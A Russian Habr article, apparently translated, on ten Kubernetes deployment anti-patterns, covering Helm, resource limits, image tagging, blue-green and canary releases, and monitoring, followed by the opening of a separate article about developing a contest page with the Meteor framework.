2. Изменение YAML с неправильными данными, например, подключение к неправильной базе данных.
3. Отсутствует ресурс для обновления и так далее.
```
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.2
ports:
- containerPort: 80
```
*Взято* [*отсюда*](https://gist.githubusercontent.com/BetterProgramming/20091017c32f575d06d8219e7b8aa115/raw/0297084fd14da6c46d711892ad7810eb0dcd4a50/deployment.yaml)
Возможно, вам нужно изменить ряд вещей в YAML, и если вы будете невнимательны, YAML одного деплоймента можно легко принять за YAML другого деплоймента.
[Шаблоны](https://codefresh.io/docs/docs/deploy-to-kubernetes/kubernetes-templating/) помогают упростить установку приложений Kubernetes и управление ими. Поскольку Kubernetes не предоставляет собственный механизм шаблонов, мы должны искать сторонние шаблонизаторы.
[Helm](https://helm.sh/) был первым доступным менеджером пакетов, появился в 2015 году. Он был назван «Homebrew для Kubernetes» и расширен за счет включения возможностей создания шаблонов.
Helm упаковывает свои ресурсы с помощью [чартов](https://v2.helm.sh/docs/developing_charts/), где чарт представляет собой набор файлов, описывающих связанный набор ресурсов Kubernetes. В [репозитории чартов](https://hub.helm.sh/) имеется более 1400 общедоступных чартов (вы также можете использовать *helm search hub [ключевое слово] [флаги]*), в основном многоразовые рецепты для установки, обновления и удаления в Kubernetes.
С помощью чартов Helm вы можете изменить файл *values.yaml*, чтобы задать изменения, необходимые для деплойментов в Kubernetes, и вы можете иметь разные чарты Helm для каждой среды. Поэтому, если у вас есть среда контроля качества, промежуточная и производственная среды, нужно управлять только тремя чартами Helm вместо того, чтобы изменять каждый YAML в каждом деплойменте в каждой среде.
Еще одно преимущество Helm заключается в том, что с помощью откатов Helm можно легко вернуться к предыдущей версии, если что-то пойдет не так:
```
helm rollback [REVISION] [flags]
```
Если вы хотите вернуться к предыдущей версии, вы можете использовать:
```
helm rollback 0
```
Вы увидите что-то вроде:
```
$ helm upgrade -- install -- wait -- timeout 20 demo demo/
$ helm upgrade -- install -- wait -- timeout 20 -- set
readinessPath=/fail demo demo/
$ helm rollback -- wait -- timeout 20 demo 1
Rollback was a success.
```
И история чарта Helm прекрасно это отслеживает:
```
$ helm history demo
REVISION STATUS DESCRIPTION
1 SUPERSEDED Install complete
2 SUPERSEDED Upgrade "demo" failed: timed out waiting for the condition
3 DEPLOYED Rollback to 1
```
[Kustomize](https://kustomize.io/) от Google — популярная альтернатива, которую [можно использовать в дополнение к Helm](https://helm.sh/docs/topics/advanced/).
### 3. Деплой приложения в определенном порядке
Приложения не должны аварийно завершаться, потому что зависимость не готова. В традиционной разработке существует определенный порядок запуска и остановки задач при запуске приложений.
Важно не переносить это мышление в оркестровку контейнеров, то есть в Kubernetes, Docker и так далее. Эти компоненты запускаются одновременно, что делает невозможным определение порядка запуска. Даже когда приложение запущено и работает, его зависимости могут выйти из строя или быть перенесены, что приведет к дальнейшим проблемам.
В реальности Kubernetes также существует множество точек потенциальных сбоев связи, где невозможно установить зависимости, во время которых может произойти сбой пода или служба может стать недоступной. Задержки в сети, такие как слабый сигнал или прерывание сетевого соединения, является частой причиной сбоев связи.
Для простоты давайте рассмотрим гипотетическое приложение для покупок, в котором есть две службы: база данных инвентаризации и пользовательский интерфейс витрины. Прежде чем приложение сможет запуститься, внутренняя служба должна запуститься, пройти все проверки и начать работу. Затем интерфейсная служба может запуститься, выполнить ее проверки и начать работу.
Допустим, мы принудительно установили порядок деплоя с помощью команды *kubectl wait*, например:
```
kubectl wait -- for=condition=Ready pod/serviceA
```
Но если это условие никогда не выполнится, следующий деплой не может быть продолжен, процесс прерывается.
Вот упрощенная схема того, как может выглядеть порядок развертывания:
*Процесс не может двигаться дальше, пока предыдущий этап не завершен*
Поскольку Kubernetes является самовосстанавливающимся, стандартный подход состоит в том, чтобы позволить всем службам в приложении запускаться одновременно, а контейнерам дать возможность сбоя и перезапуска, пока все они не будут запущены и не заработают.
У меня есть службы A и B, запускаемые независимо, как и должно быть построено облачное приложение без сохранения состояния. Но для удобства пользователя, возможно, я мог бы указать пользовательскому интерфейсу (службе B) отображать красивое сообщение о загрузке, пока служба A не готова. При этом фактический запуск службы B не должен зависеть от службы A.
*Теперь, если в поде происходит сбой, Kubernetes перезапускает службу, пока все не заработает. Если вы застряли в CrashLoopBackOff, стоит проверить свой код, конфигурацию или конкуренцию за ресурсы*
Конечно, нужно делать больше, чем просто полагаться на самовосстановление. Стоит внедрять решения, справляющиеся с отказами, которые неизбежны и будут. Мы должны предвидеть, что они произойдут, и заложить основы для реагирования таким образом, чтобы избежать простоев и/или потери данных.
В моем гипотетическом приложении для покупок пользовательский интерфейс витрины (услуга B) нуждается во второй части (услуга A), чтобы предоставить пользователю то, что нужно. Поэтому при сбоях, например, если служба A недоступна в течение какого-то времени, система все равно должна иметь возможность восстановиться после этой проблемы.
Подобные временные сбои возможны, а чтобы минимизировать их последствия, мы можем реализовать [шаблон Retry](https://docs.microsoft.com/en-us/azure/architecture/patterns/retry).
Шаблоны повторных попыток помогают повысить стабильность приложения с помощью таких стратегий, как:
1. **Отмена**. Если сбой не является временным или процесс вряд ли будет успешным при повторных попытках, приложение должно отменить операцию и сообщить об исключении, например, об ошибке аутентификации. Недействительные учетные данные никогда не должны работать!
2. **Повторить попытку**. Если неисправность необычная или редкая, это может быть связано с необычными ситуациями, например, повреждением сетевого пакета. Приложение должно немедленно повторить запрос, потому что повторение такой же ошибки маловероятно.
3. **Повторить попытку после задержки**. Если сбой вызван обычными явлениями, такими как сбой подключения или ошибками занятости, лучше всего разрешить выполниться всем невыполненным рабочим операциям или трафику, прежде чем пытаться снова. Приложение должно подождать, прежде чем повторить запрос.
4. **Свой вариант**. Вы также можете реализовать свой шаблон повтора с [экспоненциальным откатом](https://docs.microsoft.com/en-us/dotnet/architecture/microservices/implement-resilient-applications/implement-retries-exponential-backoff), то есть экспоненциально увеличивая время ожидания и устанавливая максимальное количество повторов.
Реализация [схемы отключения](https://istio.io/latest/docs/tasks/traffic-management/circuit-breaking/) также является важной стратегией при создании отказоустойчивых приложений на основе микросервисов. Как автоматический выключатель в доме сам отключается, чтобы защитить вас от серьезных повреждений из-за чрезмерного тока или короткого замыкания, так схема отключения цепи предоставляет метод написания приложений с ограничением влияния неожиданных сбоев, которые могут занять много времени. Это такие сбои, как, например, частичная потеря связи или полный отказ службы.
В таких ситуациях, если повторная попытка не сработает, приложение должно уметь установить, что произошел сбой, и отреагировать соответствующим образом.
### 4. Развертывание подов без установленных ограничений на память и/или CPU
Распределение ресурсов зависит от сервиса, который вы деплоите. Может быть сложно предсказать, какие ресурсы потребуются контейнеру для оптимальной производительности без тестирования в реальных условиях. Для одного сервиса может потребоваться фиксированный профиль потребления CPU и памяти, в то время как профиль потребления другого сервиса может быть динамическим.
Когда вы деплоите поды без тщательного анализа ограничений памяти и CPU, это может привести к сценариям конкуренции за ресурсы и нестабильным рабочим средам.
Если контейнер не имеет ограничения памяти или CPU, планировщик видит его использование памяти и CPU как нулевое, поэтому на любом узле можно запланировать неограниченное количество подов. Это может привести к чрезмерному использованию ресурсов и возможным сбоям узлов и кубелетов.
Когда ограничение памяти не указано для контейнера, есть несколько возможных сценариев (они также применимы к CPU):
1. Верхнего предела объема памяти, который может использовать контейнер, не существует. Таким образом, контейнер может использовать всю доступную память на своем узле, возможно, вызывая OOM Killer. OOM Killer чаще происходит для контейнеров без ограничений ресурсов.
2. Лимит памяти по умолчанию для пространства имен, в котором работает контейнер, назначается контейнеру. Администраторы кластера могут использовать [LimitRange](https://v1-18.docs.kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#limitrange-v1-core), чтобы указать значение по умолчанию для ограничения памяти.
Объявление ограничений памяти и CPU для контейнеров в кластере позволяет эффективно использовать ресурсы, доступные на узлах кластера. Это помогает планировщику Kubernetes определить, на каком узле должен располагаться под для наиболее эффективного использования оборудования.
При установке лимитов памяти и CPU для контейнера следует позаботиться о том, чтобы не запрашивать больше ресурсов, чем установлено лимитами. Для подов, содержащих более одного контейнера, совокупные запросы ресурсов не должны превышать установленные лимиты — в противном случае под никогда не будет запланирован.
*Запросы ресурсов не должны превышать лимиты*
Установка запросов памяти и CPU ниже их лимитов позволяет добиться двух целей:
1. Под может использовать память/CPU, когда они доступны, что приводит к всплескам активности.
2. Во время всплеска активности под ограничен разумным объемом памяти/CPU.
Хорошей практикой считается использовать запросы CPU на уровне одного ядра или ниже, и использовать [ReplicaSets](https://kubernetes.io/docs/concepts/workloads/controllers/replicaset/) для масштабирования.
Что происходит, когда разные команды соревнуются за ресурсы при деплое контейнеров в одном кластере? Если процесс превысит предел по памяти, он будет остановлен, а если он превысит предел по CPU, для процесса будет включен троттлинг, что приведет к снижению производительности.
Вы можете управлять ограничениями ресурсов с помощью [квот ресурсов](https://kubernetes.io/docs/concepts/policy/resource-quotas/) и [LimitRange](https://kubernetes.io/docs/concepts/policy/limit-range/) в настройках [пространства имен](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/). Эти параметры помогают учитывать развертывание контейнеров без ограничений или с большими запросами ресурсов.
Установка жестких ограничений ресурсов может быть не лучшим выбором для ваших нужд. Другой вариант — использовать режим рекомендаций ресурсов в [Vertical Pod Autoscaler](https://cloud.google.com/kubernetes-engine/docs/concepts/verticalpodautoscaler).
### 5. Использование тега latest в продакшене
Использование тега *latest* считается плохой практикой, особенно в производственной среде. Поды неожиданно аварийно завершают работу по разным причинам, поэтому они могут в любой момент удалить докер-образы.
К сожалению, последний тег не очень информативен, когда дело доходит до определения того, когда сборка сломалась. Какая версия образа была запущена? Когда в последний раз он работал? Это особенно плохо в продакшене, поскольку вам нужна возможность восстановить работу с минимальным временем простоя.
*Не используйте тег latest в продакшен*
По умолчанию для *imagePullPolicy* установлено значение *Always*, при перезапуске образ всегда скачивается. Если вы не укажете тег, Kubernetes по умолчанию будет использовать последнюю версию.
Однако, развертывание будет обновлено только в случае сбоя, когда под удаляет образ при перезапуске, или при [изменении](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#updating-a-deployment) шаблона пода развертывания (*.spec.template*). Смотрите это [обсуждение на форуме](https://discuss.kubernetes.io/t/use-latest-image-tag-to-update-a-deployment/2929), чтобы увидеть, как тег *latest* не работает должным образом в процессе разработки.
Даже если вы изменили *imagePullPolicy* на другое значение, кроме *Always*, ваш под все равно будет скачивать образ, если ему необходимо перезапуститься, будь то из-за сбоя или преднамеренной перезагрузки.
Если вы используете управление версиями и устанавливаете *imagePullPolicy* со значимым тегом, например v1.4.0, то можете вернуться к самой последней стабильной версии и легче устранять неполадки, если что-то в коде пошло не так. Вы можете узнать больше о передовых методах управления версиями в [Semantic Versioning Specification](https://semver.org/) и [GCP Best Practices](https://semver.org/).
Помимо использования конкретных и значимых тегов Docker, вы также должны помнить, что контейнеры не имеют состояния и неизменны. Они также должны быть эфемерными, вы должны хранить любые данные вне контейнеров в постоянном хранилище. После того, как вы развернули контейнер, нельзя его изменять: никаких патчей, никаких обновлений, никаких изменений конфигурации. Когда вам нужно обновить конфигурацию, вы должны развернуть новый контейнер с обновленной конфигурацией.
*Неизменность Docker, взято из Best Practices for Operating Containers*
Эта неизменность обеспечивает более безопасное и повторяемое развертывание. Вы также можете легко выполнить откат, если нужно повторно развернуть старый образ. Сохраняя неизменными образы Docker и сам контейнер, вы можете развернуть один и тот же образ контейнера в каждой отдельной среде. Смотрите антипаттерн №1, где мы говорили об экстернализации данных конфигурации, чтобы ваши образы оставались неизменными.
*Мы можем вернуться к предыдущей стабильной версии, пока будем устранять неполадки*
### 6. Деплой новых обновлений/исправлений путем уничтожения подов, чтобы они извлекали новые образы Docker во время процесса перезапуска
Подобно тому как полагаться на тег *latest* для получения обновлений, полагаться на удаление подов для развертывания новых обновлений — плохая практика, поскольку вы не управляете версиями своего кода.
Если вы убиваете поды для получения обновленных образов Docker в продакшен, то так лучше не делать. После того, как версия была выпущена в продакшен, ее нельзя перезаписывать. Если что-то сломается, вы не будете знать, где и когда что-то пошло не так и как далеко нужно вернуться, если нужно откатить код во время устранения неполадок.
Вторая проблема заключается в том, что перезапуск контейнера для получения нового образа Docker не всегда работает. Перекатка деплоя запускается тогда и только тогда, когда изменяется шаблон деплоя пода (то есть *.spec.template*), например, если обновляются ярлыки или образы контейнеров шаблона. Другие обновления, такие как масштабирование деплоя, не запускают перекатку.
```
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.2
ports:
- containerPort: 80
```
*Источник:* [*deployment-1.yaml*](https://gist.githubusercontent.com/BetterProgramming/b6ec443db996b8395129a2bec3bfb49f/raw/8da7858eae16419cc539bbb61797b8384e8f3524/deployment-1.yaml)
Вы должны изменить *.spec.template*, чтобы перезапустить деплой.
Правильный способ обновления ваших подов для получения новых образов Docker — это использование [версий](https://semver.org/) или инкремента для исправлений/патчей вашего кода. А затем изменение спецификации деплоя, чтобы отразить изменения в значимом теге. Не *latest* (см. антипаттерн №5), а, например, v1.4.0 для нового выпуска или v1.4.1 для патча.
Kubernetes запустит обновление с нулевым временем простоя:
1. Kubernetes запускает новый под с новым образом.
2. Ожидает прохождения проверки работоспособности.
3. Удаляет старый под.
### 7. Смешивание производственной и непроизводственной нагрузок в одном кластере
Kubernetes поддерживает [пространства имен](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/), которые позволяют пользователям управлять разными окружениями (виртуальными кластерами) в одном физическом кластере. Их можно рассматривать как экономичный способ управления различными окружениями в одном физическом кластере. Например, вы можете запустить stage и продакшен окружения в одном кластере и сэкономить ресурсы и деньги. Однако существует большая разница между запуском Kubernetes в разработке и запуском Kubernetes в рабочем окружении.
При смешивании производственных и непроизводственных нагрузок в одном кластере необходимо учитывать множество факторов. Так, нужно будет рассмотреть ограничения ресурсов, чтобы убедиться, что производительность продакшен окружения не скомпрометирована. Обычная практика — это не ставить квоты на продакшен пространства имен и устанавливать квоты на любые непродакшен пространства имен.
Вам также следует помнить об изоляции. Разработчикам требуется гораздо больше доступов и разрешений, чем нужно в продакшен окружении, и которые вы хотели бы максимально заблокировать. Хотя пространства имен скрыты друг от друга, по умолчанию они не изолированы полностью. Это означает, что ваши приложения в пространстве имен для разработки могут вызывать приложения в тестовом, промежуточном или продакшен окружении (или наоборот), что не считается хорошей практикой. Конечно, вы можете использовать NetworkPolicies, чтобы установить правила для изоляции пространств имен.
Однако тщательное тестирование ограничений ресурсов, производительности, безопасности и надежности требует времени, поэтому выполнение производственных рабочих нагрузок в том же кластере, что и непроизводственных, не рекомендуется. Вместо того чтобы смешивать эти нагрузки в одном кластере, используйте отдельные кластеры для разработки/тестирования/продакшен — так вы улучшите изоляцию и повысите безопасность. Вы также должны максимально автоматизировать CI/CD, чтобы снизить вероятность человеческой ошибки. Ваше продакшен окружение должно быть как можно более надежным.
### 8. Отказ от сине-зеленых или канареечных деплойментов для критически важных развертываний
Многие современные приложения развертываются часто: от нескольких изменений в течение месяца до нескольких развертываний за один день. Это, безусловно, достижимо с помощью микросервисной архитектуры, поскольку различные компоненты могут разрабатываться, управляться и выпускаться в разных циклах, если они работают вместе, обеспечивая бесперебойную работу. И, конечно же, при выпуске обновлений важно поддерживать приложения в рабочем состоянии 24/7.
Стратегии Rolling Updates Kubernetes не всегда достаточно. Распространенной стратегией выполнения обновлений является использование функции [rolling updates](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#rolling-update-deployment) Kubernetes по умолчанию:
```
.spec.strategy.type==RollingUpdate
```
Вы можете установить поля *maxUnavailable* — процент или количество недоступных подов, и maxSurge — необязательный параметр, для управления процессом обновления. При правильной реализации так выполняется постепенное обновление с нулевым временем простоя, так как поды обновляются по очереди. Вот [пример](https://medium.com/platformer-blog/enable-rolling-updates-in-kubernetes-with-zero-downtime-31d7ec388c81) того, как одна команда обновила свои приложения с нулевым временем простоя за счет rolling update.
Однако после обновления развертывания до следующей версии не всегда легко откатиться. У вас должен быть план, как откатить деплоймент на случай, если он перестанет работать. Когда ваш под обновится до следующей версии, при развертывании будет создан новый ReplicaSet, хотя Kubernetes будет хранить предыдущие ReplicaSets. По умолчанию их десять, но вы можете изменить это количество с помощью *spec.revisionHistoryLimit*.
ReplicaSets сохраняются под именами в случайном порядке, например *app6ff34b8374*, вы не найдете ссылки на ReplicaSets в YAML для развертывания приложения. Вы можете найти его с помощью:
```
ReplicaSet.metatada.annotation
```
И проверить ревизию с помощью:
```
kubectl get replicaset app-6ff88c4474 -o yaml
```
Так вы найдете номер ревизии. Процесс усложняется тем, что история развертывания не содержит никаких логов, если вы не оставите примечание в ресурсе YAML. Это вы можете сделать с помощью флага - *record*:
```
$kubectl rollout history deployment/app
REVISION CHANGE-CAUSE
1 kubectl create -- filename=deployment.yaml -- record=true
2 kubectl apply -- filename=deployment.yaml -- record=true
```
Когда у вас есть десятки, сотни или даже тысячи развертываний, которые обновляются одновременно, сложно отслеживать их все сразу. И если все ваши сохраненные ревизии содержат одну и ту же регрессию, тогда ваше продакшен окружение не будет в хорошей форме! Подробнее об использовании rolling updates можно прочитать в этой [статье](https://learnk8s.io/kubernetes-rollbacks#:~:text=In%20Kubernetes%2C%20rolling%20updates%20are,bring%20newer%20Pod%20in%20incrementally.&text=You%20have%20a%20Service%20and,three%20replicas%20on%20version%201.0.).
Еще некоторые проблемы:
* Не все приложения могут одновременно запускать несколько версий.
* В середине обновления вашему кластеру может не хватить ресурсов, что способно нарушить весь процесс.
Все это очень неприятные и стрессовые проблемы, с которыми приходится сталкиваться в продакшен средах.
Альтернативные способы более надежного обновления приложений включают два варианта.
#### Сине-зеленое (красно-черное) развертывание
При сине-зеленом развертывании одновременно существует полный набор старых и новых экземпляров приложения. Синий — это живая версия, а новая версия развернута на зеленой реплике.
Когда зеленое окружение прошло все тесты и проверки, балансировщик нагрузки просто переключает трафик на зеленую версию, которая становится новым синим окружением, а старая версия становится зеленой. Поскольку у нас поддерживаются две полные версии, выполнить откат просто — нужно лишь переключить балансировщик нагрузки обратно.
*Балансировщик нагрузки переключается между синим и зеленым окружением, чтобы установить активную версию. Из* [*стратегий непрерывного развертывания с Kubernetes*](https://codefresh.io/kubernetes-tutorial/continuous-deployment-strategies-kubernetes-2/)
Дополнительные преимущества:
* Поскольку мы никогда не выполняем развертывание непосредственно в продакшен окружении, переход от зеленого к синему не вызывает стресса.
* Перенаправление трафика происходит сразу, поэтому простоев нет.
* Перед переключением может быть проведено обширное тестирование, чтобы полностью проверить новое продакшен окружение. Это важно, так как среда разработки сильно отличается от производственной.
Kubernetes не включает сине-зеленые развертывания в качестве одного из собственных инструментов. В [этом руководстве](https://codefresh.io/kubernetes-tutorial/fully-automated-blue-green-deployments-kubernetes-codefresh/) вы можете узнать больше о том, как реализовать их при автоматизации CI/CD.
#### Канареечные развертывания
Канареечное развертывание позволяет проверять потенциальные проблемы и соответствие ключевым показателям, прежде чем влиять на всю продакшен систему/базу пользователей. Мы «тестируем в продакшене», выполняя развертывание непосредственно в продакшен окружении, но только для небольшой группы пользователей.
Вы можете выбрать маршрутизацию на основе процента использования или в зависимости от региона/местоположения пользователя, типа клиента и параметров биллинга. Даже при развертывании в небольшом подмножестве важно тщательно отслеживать производительность приложения и измерять ошибки — эти показатели определяют порог качества. Если приложение ведет себя так, как ожидалось, мы начинаем переводить больше трафика на экземпляры новой версии.
*Балансировщик нагрузки постепенно выпускает новую версию в продакшен. Из* [*стратегий непрерывного развертывания с Kubernetes*](https://codefresh.io/kubernetes-tutorial/continuous-deployment-strategies-kubernetes-2/)
Другие преимущества:
* Наблюдаемость.
* Возможность тестирования на продакшен трафике. Протестировать в cреде разработки так же, как в производственной, сложно.
* Возможность задеплоить версию для небольшой группы пользователей и получить реальную обратную связь перед более крупным деплоем.
* Быстро получить отказ. Поскольку мы развертываем прямо в продакшен, мы можем быстро получить отказ работы, то есть немедленно вернуться на рабочую версию, если что-то сломается. При этом сбой затронет только часть пользователей, а не все сообщество.
### 9. Отсутствие метрик, позволяющих понять, был ли деплой успешным или нет
Проверки работоспособности требуют поддержки со стороны приложения.
Вы можете использовать Kubernetes для выполнения множества задач по оркестровке контейнеров, например:
1. Контроль потребления ресурсов приложением или командой: пространство имен, CPU/память, ограничения, а также предотвращение потребления приложением слишком большого количества ресурсов.
2. Балансировка нагрузки между разными экземплярами приложений, перемещение экземпляров приложений с одного хоста на другой, если есть нехватка ресурсов или если хост перестает работать.
3. Самовосстановление — перезапуск контейнеров в случае их сбоя.
4. Автоматическое использование дополнительных ресурсов при добавлении нового хоста в кластер.
Из-за этих возможностей иногда о показателях и мониторинге легко забывают. Однако успешное развертывание — это еще не конец вашей работы. Лучше проявить инициативу и приготовиться к сюрпризам. Есть еще много уровней для мониторинга, а динамический характер K8s затрудняет устранение неполадок.
Например, если вы невнимательно следите за доступными ресурсами, автоматическое перепланирование подов может вызвать проблемы с недостатком ресурсов. Тогда ваше приложение может дать сбой или никогда не развернуться. Это особенно прискорбно в продакшен, так как вы не узнаете о сбое, пока кто-то не отправит отчет об ошибке или если вы не захотите проверить работоспособность вручную.
В мониторинге есть свой набор проблем: много уровней, за которыми нужно следить, и необходимость [поддерживать достаточно низкую нагрузку на инженеров по обслуживанию](https://landing.google.com/sre/sre-book/chapters/practical-alerting/).
Когда приложение, работающее в Kubernetes, сталкивается с проблемой, существует множество логов, данных и компонентов, которые необходимо исследовать. Особенно если проблема связана с несколькими микросервисами, в отличие от традиционной монолитной архитектуры, где все выводится в несколько логов.
Анализ поведения вашего приложения, например, того, как оно работает, поможет постоянно его улучшать. Также потребуется довольно целостное представление о контейнерах, подах, службах и кластере в целом. Если вы можете определить, как приложение использует ресурсы, то сможете использовать Kubernetes, чтобы лучше обнаруживать и устранять узкие места.
Чтобы получить полное представление о приложении, нужно использовать решения для мониторинга производительности приложений, такие как [Prometheus](https://prometheus.io/), [Grafana](https://grafana.com/), [New Relic](https://newrelic.com/) или [Cisco AppDynamics](https://www.appdynamics.com/appd-campaigns/?utm_source=adwords&utm_medium=ppc&utm_campaign=brand&gclid=CjwKCAjwydP5BRBREiwA-qrCGo92C606PzpGx6nOZdhkIs8WcxHadyb-gYDCeUfofm3hBSgeTTAW8BoC7DQQAvD_BwE), либо какие-либо еще.
Независимо от того, решите вы использовать решения для мониторинга или нет, вот ключевые показатели, которые документация Kubernetes рекомендует вам внимательно отслеживать:
* Запущенные поды и их развертывания.
* Метрики ресурсов: CPU, использование памяти, дисковый ввод-вывод.
* Метрики, связанные с контейнерами.
* Метрики приложения.
### 10. Особенности работы с поставщиками облачных услуг
Существует несколько типов vendor lock-in (Мартин Фаулер написал отличную [статью](https://martinfowler.com/articles/oss-lockin.html), если вы хотите узнать больше), привязка к поставщику не должна сводить на нет основную ценность развертывания в облаке: гибкость контейнеров.
Это правда, что выбрать подходящего поставщика облачных услуг — нелегкое решение. У каждого провайдера есть свои собственные интерфейсы, открытые API, а также проприетарные спецификации и стандарты. Кроме того, один поставщик может удовлетворить ваши потребности лучше, чем другие, в случае неожиданного изменения нужд бизнеса.
К счастью, контейнеры не зависят от платформы и их можно переносить, и все основные поставщики используют платформу Kubernetes, которая не зависит от облака. Не надо перестраивать архитектуру или переписывать код своего приложения, когда нужно перемещать рабочие нагрузки между облаками.
Вот список вещей, которые следует учитывать, чтобы оставаться гибкими, и предотвратить или минимизировать привязку к поставщику услуг.
#### Читайте написанное мелким шрифтом
Согласуйте стратегии входа и выхода. Многие поставщики упрощают запуск — и этим вас привязывают к себе. Сюда могут входить такое стимулирование, как бесплатный пробный период или кредиты, но эти расходы могут вырасти по мере увеличения масштаба вашего бизнеса.
Проверьте такие вещи, как автоматическое продление, плата за досрочное прекращение и поможет ли поставщик с такими вещами, как деконверсия при переходе к другому поставщику и SLA, связанные с выходом.
#### Создавайте/проектируйте свои приложения так, чтобы они могли работать везде
Если вы уже разрабатываете для облака и используете принципы работы с облаком, то, скорее всего, код вашего приложения должно быть легко поднять и переместить.
Например, вы можете:
1. Убедиться, что ваши службы и функции (например, базы данных, API-интерфейсы и так далее.), используемые вашим приложением, переносимы.
2. Проверить ваши сценарии развертывания и подготовки. Существует множество инструментов, которые можно использовать для автоматизации облачной инфраструктуры, они совместимы со всеми основными поставщиками облачных услуг, например: [Puppet](https://puppet.com/), [Ansible](https://www.ansible.com/) и [Chef](https://www.chef.io/). В этом [блоге](https://www.ibm.com/cloud/blog/chef-ansible-puppet-terraform) есть удобная диаграмма, в которой сравнивают характеристики распространенных инструментов автоматизации.
3. Проверить, может ли ваша среда DevOps, которая обычно включает Git и CI/CD, работать в любом облаке. Например, во многих облаках есть свои собственные инструменты CI/CD, такие как IBM Cloud Continuous Delivery, Azure CI/CD или AWS Pipelines, для переноса которых на другого поставщика облачных услуг могут потребоваться дополнительные усилия. Вместо этого вы можете использовать что-то вроде Codefresh, то есть решения, которые поддерживают Docker и Kubernetes и интегрируются с другими популярными инструментами. Есть также множество других решений, некоторые из них CI или CD, или и то, и другое. Например: [GitLab](https://about.gitlab.com/blog/2019/07/15/finding-the-right-ci-cd/), [Bamboo](https://www.atlassian.com/software/bamboo), [Jenkins](https://www.jenkins.io/), [Travis](https://travis-ci.org) и так далее.
4. Проверить, нужно ли менять процесс тестирования при смене поставщика.
#### Вы также можете выбрать стратегию работы с несколькими облаками одновременно
Используя мультиоблачную стратегию, вы можете выбирать сервисы от разных облачных провайдеров, которые лучше всего подходят для вашего типа приложений. Когда вы планируете развертывание в нескольких облаках, следует тщательно обдумать возможность взаимодействия между компонентами.
### Заключение
Kubernetes действительно популярен, но с него сложно начать, и в традиционной разработке есть много практик, которые не переносятся на облачную разработку.
В этой статье мы рассмотрели:
1. Размещение файлов конфигурации внутри/рядом с образом Docker. Сделайте внешнее хранение данных конфигурации. Вы можете использовать ConfigMaps и Secrets или что-то подобное.
2. Не использовать Helm или другие шаблонизаторы. Используйте Helm или Kustomize, чтобы упростить оркестровку контейнеров и уменьшить количество человеческих ошибок.
3. Деплой приложения в определенном порядке. Приложения не должны аварийно завершаться, потому что зависимости не готовы. Используйте механизм самовосстановления Kubernetes и реализуйте повторные попытки и автоматические выключатели.
4. Развертывание подов без установленных ограничений на память и/или CPU. Вам следует подумать об установке ограничений памяти и CPU, чтобы снизить риск конфликта за ресурсы, особенно при совместном использовании кластера.
5. Использование тега *latest* в продакшене. Никогда не используйте тег *latest*. Всегда используйте что-то значимое, например, v1.4.0 в соответствии со [спецификацией семантического управления версиями](https://semver.org/), а также неизменяемые образы Docker.
6. Деплой новых обновлений/исправлений путем уничтожения подов, чтобы они извлекали новые образы Docker во время процесса перезапуска. Версионирование вашего кода приводит к более хорошему управлению деплоями.
7. Смешивание производственных и непроизводственных нагрузок в одном кластере. Если это возможно, деплойте продакшен и непродакшен в отдельные кластера. Это снижает риск для продакшена столкнуться с нехваткой ресурсов и непредусмотренным смешиванием окружений.
8. Не использовать сине-зеленые или канареечные деплойменты для критически важных развертываний (rolling update по умолчанию не всегда достаточно). Вам следует подумать о сине-зеленом или канареечном деплое, чтобы уменьшить количество проблем при выкатке на продакшен и получить более значимые результаты.
9. Отсутствие метрик, позволяющих понять, был ли деплой успешным или нет. Вы должны следить за своими деплоями, чтобы избежать сюрпризов. Можно использовать такие инструменты, как Prometheus, Grafana, New Relic и так далее, чтобы лучше понимать, что происходит при деплоях.
10. Стоит подумать об особенностях работы с облачными поставщиками. Вы можете легко поднимать и переносить облачные приложения, если позаботиться об этом заранее.
Успехов!
В этих двух Telegram-каналах — [новости наших сервисов, включая Kubernetes aaS](https://t.me/mcsnews) и анонсы [мероприятий @Kubernetes meetup](https://t.me/k8s_mail).
Что почитать еще:
1. [90 инструментов для работы с Kubernetes](https://mcs.mail.ru/blog/poleznye-instrumenty-dlya-kubernetes).
2. [Рабочие узлы Kubernetes: много маленьких или несколько больших?](https://mcs.mail.ru/blog/rabochie-uzly-kubernetes-mnogo-malenkih-ili-neskolko-bolshih)
3. [Как устроен Kubernetes as a Service на платформе Mail.ru Cloud Solutions](https://habr.com/ru/company/mailru/blog/519366/). | https://habr.com/ru/post/529152/ | null | ru | null |
# Реальный опыт разработки на Meteor
Это рассказ о моем опыте разработки живого проекта на фреймворке [Meteor](http://meteor.com). Фреймворк очень интересный, подход к разработке концептуально отличается от большинства существующих PHP/JS фреймворков. Фактически, с Meteor приходится заново учиться веб-разработке.
Для начала пару слов о проекте. Это промо страница для одного местного сайта знакомств. Была задача создать отдельную страницу с конкурсом на лучшее фото среди участниц. Всего 8 участниц. Голосовать может кто угодно, никакой регистрации или авторизации требовать не нужно. На странице будет обратный отсчет до конца конкурса.
Meteor оказался хорошим выбором для этого проекта. Или же проект оказался хорошим в качестве моей первой работы на Meteor, равнозначно. Главная особенность Meteor – это т.н. реактивность ([Reactivity](http://docs.meteor.com/#reactivity)). Идея в том, что программист декларативно описывает логику, не задумываясь о протоколе коммуникации между клиентом и сервером. Обновление данных на клиенте происходит автоматически, как только данные изменились на сервере. Это значит никаких больше AJAX запросов в коде проекта.
Вводные данные по Meteor дублировать не хочется. Есть несколько хороших видео на сайте [www.meteor.com](http://www.meteor.com), а также несколько статей на хабре.
Далее последует техническое описание проекта. Также будут разъяснены основные подходы к разработке, используемые в Meteor на примере этого проекта. Структура проекта следующая:
* client/ – данные доступные клиентской части Meteor
* client/client.js – основной скрипт клиентской части
* client/views/ – хранилище html файлов, которые используются в Meteor
* public/ – статичные файлы, которые доступны по URL
* server/server.js – основной скрипт серверной части
* model.js – общий скрипт для серверной и клиенской части
#### Коллекции
